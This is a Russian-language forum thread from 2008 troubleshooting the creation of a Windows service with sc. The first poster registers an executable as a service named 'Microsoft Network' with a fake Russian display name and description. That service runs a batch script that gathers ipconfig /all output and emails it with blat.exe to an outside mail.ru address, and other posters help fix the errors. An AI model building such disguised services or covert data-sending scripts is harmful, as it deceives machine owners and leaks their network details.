PDA

Просмотр полной версии : Консоль. Создание службы


Ru}{eeZ
09.09.2008, 19:35
Копирую файлы в system32:
copy /y "%~dp0\file.exe" "%SYSTEMROOT%/system32\file.exe"

За тем создаю и запускаю службу:
sc create "Microsoft Network" binpath= %SYSTEMROOT%/system32/file.exe type= own start= auto displayname= "Проверка локальных соединений" error= ignore depend= RPCSS/TCPIP/NTLMSSP
sc description "Microsoft Network" "Проверяет работоспособность локальных соединений."
net start "Проверка локальных соединений"

От оно, гадство:
F:\Documents and Settings\Юзер>sc create "Microsoft Network" binpath= F:\WINDOWS
/system32/condition.bat type= own start= auto displayname= "╧ЁютхЁър ыюъры№э√ї ё
юхфшэхэшщ" error= ignore depend= RPCSS/TCPIP/NTLMSSP
[SC] CreateService FAILED 1073:



F:\Documents and Settings\Юзер>sc description "Microsoft Network" "╧ЁютхЁ*хЄ Ёрс
юЄюёяюёюсэюёЄ№ ыюъры№э√ї ёюхфшэхэшщ."
[SC] ChangeServiceConfig2 SUCCESS

F:\Documents and Settings\Юзер>net start "╧ЁютхЁър ыюъры№э√ї ёюхфшэхэшщ"
Неправильное имя службы.

Для вызова дополнительной справки наберите NET HELPMSG 2185.

Для вызова дополнительной справки наберите NET HELPMSG 2185. - для вызова справки о запуске службы...ф даун, и так это понятно...

SpangeBoB
09.09.2008, 20:05
Интересно ,что вы хотели получить раз служба уже с таким именем существует, прежде sc delete "Microsoft Network" а потом создайте уж заново.

Ru}{eeZ
09.09.2008, 20:09
Ой, спасибо, даже не заметил)))

Ru}{eeZ
09.09.2008, 21:28
Ещё вопрос:
Запускаю службу, но вылетает сообщение: "Не удаётся запустить службу Проверка локальных соединений на Локальный компьютер.
Ошибка 1053: Служба не ответила на запрос своевременно.".

Служба должна запускать bat файл содержащий следующее:
chcp 1251
ipconfig /all > info.txt
blat.exe info.txt -to uzverrr@mail.ru -subject IPconfig
DEL info.txt

Я подумал, что всё дело в расширении и поэтому конвертировал в exe, но проблема осталась, подскажите пожалуйста как исправить данную проблему)

Ru}{eeZ
09.09.2008, 21:39
Вроде разобрался сам...

п.с. почему может вылетать:
F:\Documents and Settings\Илья>sc delete "Microsoft Network"
[SC] DeleteService FAILED 1072:

? служба не запущена, в автоматическом режиме...

SpangeBoB
09.09.2008, 22:43
Зачем вам такие сложности сделайте это через schtasks.

flooper
05.02.2009, 09:01
Здраствуйте
Не подскажите синтаксис создании службы для подключения к локальной сети, а вообще я хотел создать триггер событий, чтоб при запуске "Подключения по локальной сети" запускался антивирус.
Но это дело уже будущего, а для начала нужно создать службу.
Какая команда (exe) осуществляет соединение по локальной сети?